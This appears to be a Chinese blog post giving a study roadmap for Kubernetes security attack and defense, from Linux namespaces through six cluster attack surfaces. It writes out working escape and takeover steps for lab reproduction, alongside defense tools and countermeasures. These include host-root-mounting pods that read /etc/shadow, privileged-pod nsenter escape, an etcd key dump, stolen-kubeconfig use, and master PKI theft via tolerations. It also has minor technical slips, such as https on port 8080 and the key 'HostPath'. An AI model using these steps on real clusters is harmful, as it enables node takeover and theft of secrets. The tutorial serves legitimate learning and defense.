等待学习-Kubernetes 安全攻防

等待学习-Kubernetes 安全攻防

面向完全没有接触过云原生安全的同学,从 Linux 底层一路学到 K8s 集群攻防。全程 8-10 周,每天 1-2 小时。


路线总览

第一阶段  Linux 底层隔离机制(第1-2周)
    ↓
第二阶段  Docker 容器原理(第3周)
    ↓
第三阶段  Kubernetes 基础操作(第4-5周)
    ↓
第四阶段  K8s 六大攻击面(第6-7周)
    ↓
第五阶段  防御体系与工具(第8周)

第一阶段:Linux 底层隔离机制(第1-2周)

为什么先学这个:Kubernetes 跑在 Linux 上,容器隔离靠的就是 Linux 的 Namespace 和 Capabilities。不懂这两个,后面所有攻击和防御都是黑箱。


1.1 Linux 基础命令(2天)

先装一个 Ubuntu 虚拟机(VirtualBox 免费),然后每天敲这些命令,直到不用查就能用。

命令作用后面用在哪
ps aux查看所有进程理解 PID Namespace
ip addr查看网络接口理解 Net Namespace
ss -tlnp查看监听端口排查 K8s 组件暴露
mount | df -h查看挂载点理解 Mount Namespace
ls -la /proc/查看进程信息调试容器
chmod 755修改权限理解 Capabilities
sudo -i切换 root对比权限差异

过关标准:不看文档,能说出每个命令在干什么。


1.2 Linux Namespace —— 容器隔离的真相(3天)

核心概念(大白话)

Namespace 就是 Linux 给进程戴的"眼罩"。戴了不同的眼罩,进程看到的世界就不一样。

Namespace隔离了什么大白话
PID进程号容器里看不到宿主机的进程
NET网络栈容器有自己独立的 IP 和端口
MNT挂载点容器看到自己独立的文件系统
IPC进程间通信容器之间默认不能互相通信
UTS主机名容器有自己的 hostname
USER用户 ID容器里的 root ≠ 宿主机的 root

实操:自己动手创建 Namespace

① PID Namespace

# 创建一个新的 PID namespace,在里面跑一个 bash
unshare --pid --fork --mount-proc bash

# 进去之后
ps aux        # 你会发现只能看到这个 namespace 里的进程
echo $$       # 看看自己的 PID,通常是 1
exit          # 退出 namespace

② NET Namespace

# 创建新的网络 namespace
ip netns add myns

# 进入这个 namespace
ip netns exec myns bash

# 进去之后
ip addr       # 看到的网络和外面完全不一样
ping 8.8.8.8  # 可能通可能不通,取决于配置
exit

③ MNT Namespace(最关键)

# 创建新的挂载 namespace
unshare --mount --fork bash

# 进去之后
mount | grep /    # 看到的根目录是独立的
df -h              # 磁盘信息也是独立的
exit

调试命令:nsenter

# 找到目标容器的 PID
docker inspect <容器名> | grep Pid

# 进入容器的 namespace
nsenter --target <PID> --mount --uts --ipc --net --pid

# 你现在就"在"容器里面了

过关标准:能解释"容器为什么能隔离进程和网络",并手动复现上面三个实验。


1.3 Linux Capabilities —— root 权限的拆分(2天)

核心概念(大白话)

以前容器要么是 root(太危险),要么不是 root(很多事干不了)。

Capabilities 的思路是:把 root 权限拆成 40 多块小饼干,需要什么给什么

能力作用实际影响
CAP_NET_BIND_SERVICE允许非 root 进程绑定 1024 以下端口很多攻击容器需要绑定低端口
CAP_SYS_ADMIN超级权限,几乎能干所有事特权容器的核心就是加了这个
CAP_DAC_OVERRIDE绕过文件权限检查容器逃逸常用
CAP_SYS_MODULE加载内核模块高端逃逸手段
CAP_NET_RAW使用原始套接字网络扫描攻击

实操:查看自己有哪些能力

# 查看当前 shell 的能力
capsh --print

# 对比普通用户和 root 的差异
sudo capsh --print

你会看到 root 有几十个能力,普通用户只有几个。

最佳实践

# 生产环境推荐:去掉所有能力,再按需添加
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx

过关标准:能说出"为什么容器不该用 --privileged",知道 CAP_SYS_ADMIN 是什么。


第二阶段:Docker 容器原理(第3周)

为什么学这个:Kubernetes 管理的就是容器。不懂 Docker,就看不懂 K8s 的攻击载荷是怎么跑起来的。


2.1 核心概念(1天)

概念大白话
镜像(Image)容器的"安装包",只读模板
容器(Container)镜像跑起来的实例,可读写
仓库(Registry)存放镜像的地方,如 Docker Hub
Dockerfile造镜像的"配方"

2.2 关键参数 —— 攻击全在这里(4天)

参数作用攻击中的用法
-v /host:/container挂载宿主机目录到容器HostPath 挂载逃逸
--privileged给容器几乎所有权限特权容器逃逸
--network host容器共用宿主机网络hostNetwork 横向移动
--pid host容器看到宿主机所有进程配合 nsenter 调试/逃逸
-p 80:80端口映射暴露服务
--cap-add=ALL给所有能力等同于 privileged
--cap-drop=ALL去掉所有能力安全最佳实践
--restart=always容器退出后自动重启持久化恶意负载

实操:特权容器到底能干什么

docker run -it --privileged --pid=host --network=host \
  -v /:/host \
  ubuntu bash

# 进入容器后
ls /host              # 能看到宿主机所有文件
ps aux                # 能看到宿主机所有进程
cat /host/etc/shadow  # 能读宿主机密码文件(如果有权限)
ip addr               # 能看到宿主机所有网络接口

这就是容器逃逸的基本原理。后面 K8s 里的 HostPath 挂载攻击,本质就是这个。

实操:用 hostNetwork 做什么

docker run -it --network host alpine sh

# 进去之后
ss -tlnp              # 能看到宿主机所有监听端口
curl localhost:6443   # 能直接访问 K8s API Server

过关标准:能手动复现特权容器,并说出每个参数在攻击中对应什么。


第三阶段:Kubernetes 基础操作(第4-5周)

目标:认识 K8s 的每个组件,能用 kubectl 操作集群。这是后面所有攻击的前提。


3.1 架构与组件(2天)

┌──────────── 控制平面(Master)────────────┐
│  API Server  ← 所有操作的入口,攻击首要目标  │
│  etcd        ← 存所有数据,包括密码和证书    │
│  Controller Manager ← 维护集群状态         │
│  Scheduler   ← 决定 Pod 跑在哪个节点         │
└──────────────────────────────────────────┘

┌──────────── 工作节点(Node)──────────────┐
│  kubelet     ← 管理本节点 Pod 的生命周期     │
│  kube-proxy  ← 网络代理,容易误配置暴露      │
│  容器运行时(Docker/containerd)             │
└──────────────────────────────────────────┘

记忆口诀:Master 管决策,Node 管执行,API Server 是大门,etcd 是保险箱。


3.2 核心资源(3天)

资源是什么YAML 关键字
Pod最小调度单位,一个或多个容器spec.containers
Deployment管理 Pod 的副本和更新spec.replicas
Service给 Pod 提供固定访问入口spec.ports
Namespace逻辑隔离,多租户用metadata.namespace
ConfigMap存配置信息(非敏感)data
Secret存敏感信息(密码、证书)data(base64 编码)
ServiceAccountPod 的身份,决定它有什么权限spec.serviceAccountName

3.3 污点与容忍(2天)← 横向移动的核心

大白话

  • 污点(Taint):Node 说"我不欢迎某类 Pod"
  • 容忍(Toleration):Pod 说"我不介意,让我上去"
# 给 Master 打污点,不让普通 Pod 调度上去
kubectl taint nodes master-node node-role.kubernetes.io/control-plane:NoSchedule

# Pod 要上去,必须加容忍
spec:
  tolerations:
  - key: "node-role.kubernetes.io/control-plane"
    operator: "Exists"
    effect: "NoSchedule"

攻击用法

攻击者构造一个 Pod,加上容忍,再指定 nodeName: master-node,直接跳过调度器,强制跑到 Master 上。

实操

# 在本地集群里操作
kubectl taint nodes minikube key=value:NoSchedule

# 创建一个 Pod,不加容忍 → 看它是不是 Pending
# 再创建一个,加上容忍 → 看它能不能调度上去

过关标准:能手写一个带容忍的 YAML,让 Pod 调度到被污点标记的节点。


3.4 搭建本地集群(1天)

# 方案一:Minikube(推荐新手)
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
chmod +x minikube-linux-amd64
sudo mv minikube-linux-amd64 /usr/local/bin/minikube
minikube start

# 方案二:Kind(更轻量)
# 去 https://kind.sigs.k8s.io/ 下载安装

验证kubectl get nodes 能看到节点。


第四阶段:K8s 六大攻击面(第6-7周)

这是本文的核心。每个攻击面都按 原理 → 攻击链 → 实操 → 防御 四步讲。


攻击面一:API Server 未授权访问

原理

端口说明风险
8080早期版本默认端口,无认证直接访问 = 拿到集群控制权
6443HTTPS 端口,有 TLS 认证配置不当可绕过

攻击链

未授权访问 API Server → 获得集群权限 → 创建恶意 Pod → 挂载宿主机 / → 拿到 root

实操

# 尝试连接 8080 端口
curl -k https://<master-ip>:8080/api/v1/nodes

# 如果通了,直接创建恶意 Pod
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - name: evil
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    HostPath:
      path: /
EOF

# 进入容器
kubectl exec -it evil-pod -- sh
ls /host/etc/
cat /host/etc/shadow

防御

  • 永远关掉 8080 端口
  • 开启 RBAC 认证
  • 配置 TLS 双向认证

攻击面二:Dashboard 暴露

原理

Dashboard 是 K8s 的 Web 管理界面。如果:

公网暴露 + Skip Login + 高权限 ServiceAccount = 直接接管集群

实操

# 部署 Dashboard
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.7.0/aio/deploy/recommended.yaml

# 用 kubectl proxy 访问
kubectl proxy
# 浏览器打开 http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

防御

  • 不要公网暴露
  • 关掉 Skip Login
  • 用 RBAC 限制权限

攻击面三:etcd 敏感信息泄露

原理

etcd 存了集群所有数据:Secrets(密码)、证书、配置。如果 2379 端口未授权访问,等于把保险箱钥匙给你了。

实操

# 如果能访问 etcd
ETCDCTL_API=3 etcdctl --endpoints=https://<master>:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only

# 你会看到所有 Secret、ConfigMap、证书的 key

防御

  • etcd 必须开 TLS
  • 限制访问 IP
  • 定期轮换证书

攻击面四:kubeconfig 窃取

原理

kubeconfig 文件 = 集群地址 + CA 证书 + 用户 token。拿到它,离线也能控制集群。

常见泄露位置

位置说明
GitHub 代码仓库kubeconfig 能找到大量真实配置
网盘备份很多人把 kubeconfig 传到百度网盘
CI/CD 日志Jenkins、GitLab CI 日志里经常泄露

实操

# 拿到一个 kubeconfig 文件后
export KUBECONFIG=./stolen-kubeconfig
kubectl get nodes          # 直接就能操作集群
kubectl get secrets -A     # 看到所有密码

防御

  • kubeconfig 不要提交到代码仓库
  • 用短期 token
  • 限制 token 权限范围

攻击面五:污点容忍滥用 + nodeName 横向移动

原理

这是从普通 Pod 逃逸到 Master 节点的经典路径。

普通 Pod → 加容忍 + 指定 nodeName=master → 调度到 Master
→ 挂载 /etc/kubernetes/pki → 拿到证书
→ 用证书访问 API Server → 集群接管

实操

apiVersion: v1
kind: Pod
metadata:
  name: attack-pod
spec:
  nodeName: master-node              # ← 指定节点,绕过调度器
  containers:
  - name: attack
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: pki
      mountPath: /etc/kubernetes/pki
      readOnly: true
  volumes:
  - name: pki
    HostPath:
      path: /etc/kubernetes/pki
  tolerations:                          # ← 容忍 Master 的污点
  - key: "node-role.kubernetes.io/control-plane"
    operator: "Exists"
    effect: "NoSchedule"
kubectl apply -f attack-pod.yaml
kubectl exec -it attack-pod -- sh
ls /etc/kubernetes/pki/
# 你会看到 apiserver.crt、apiserver.key、etcd 证书等

防御

  • 不要给普通用户创建 Pod 的权限
  • Master 节点加强污点
  • 监控异常 Pod 调度

攻击面六:特权容器逃逸

原理

恶意 Pod → --privileged + hostNetwork + hostPID
→ 在容器里 nsenter --target 1 --mount --uts --ipc --net --pid
→ 直接进入宿主机命名空间 → 完全控制节点

实操

kubectl run privileged-pod --image=alpine \
  --privileged \
  --overrides='{"spec":{"hostNetwork":true,"hostPID":true}}' \
  --command -- sleep 3600

kubectl exec -it privileged-pod -- sh

# 在容器里
apk add util-linux
nsenter --target 1 --mount --uts --ipc --net --pid
# 你现在在宿主机上了

防御

  • 永远不要用 --privileged
  • 用 Pod Security Admission 策略禁止

第五阶段:防御体系与工具(第8周)

方向工具用途
漏洞扫描kube-hunter扫描集群安全配置
镜像扫描trivy扫描镜像里的漏洞和敏感信息
运行时检测falco检测异常系统调用
网络策略Calico / Cilium限制 Pod 之间的通信
准入控制Pod Security Standards禁止特权容器
审计kube-audit检查 API Server 的访问日志

学习节奏总表

内容每天时间关键产出
1-2Linux Namespace + Capabilities1.5h能手动创建 namespace,说出 5 个 capabilities
3Docker 关键参数1.5h能手动跑特权容器,知道每个参数的攻击用途
4-5K8s 基础 + 污点容忍2h本地集群跑起来,能手写 Pod YAML
6-7六大攻击面复现2h每个攻击都在本地集群复现一遍
8防御 + 工具1.5h能用 kube-hunter 扫一遍自己的集群

最后说一句

K8s 安全攻防的核心逻辑就一句话:

谁能创建 Pod,谁就能控制集群。谁能访问 etcd,谁就能拿到所有密码。

所有攻击面,归根到底都在争这两件事。

先把第一阶段的 Linux Namespace 搞懂,后面 70% 的内容自然就通了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值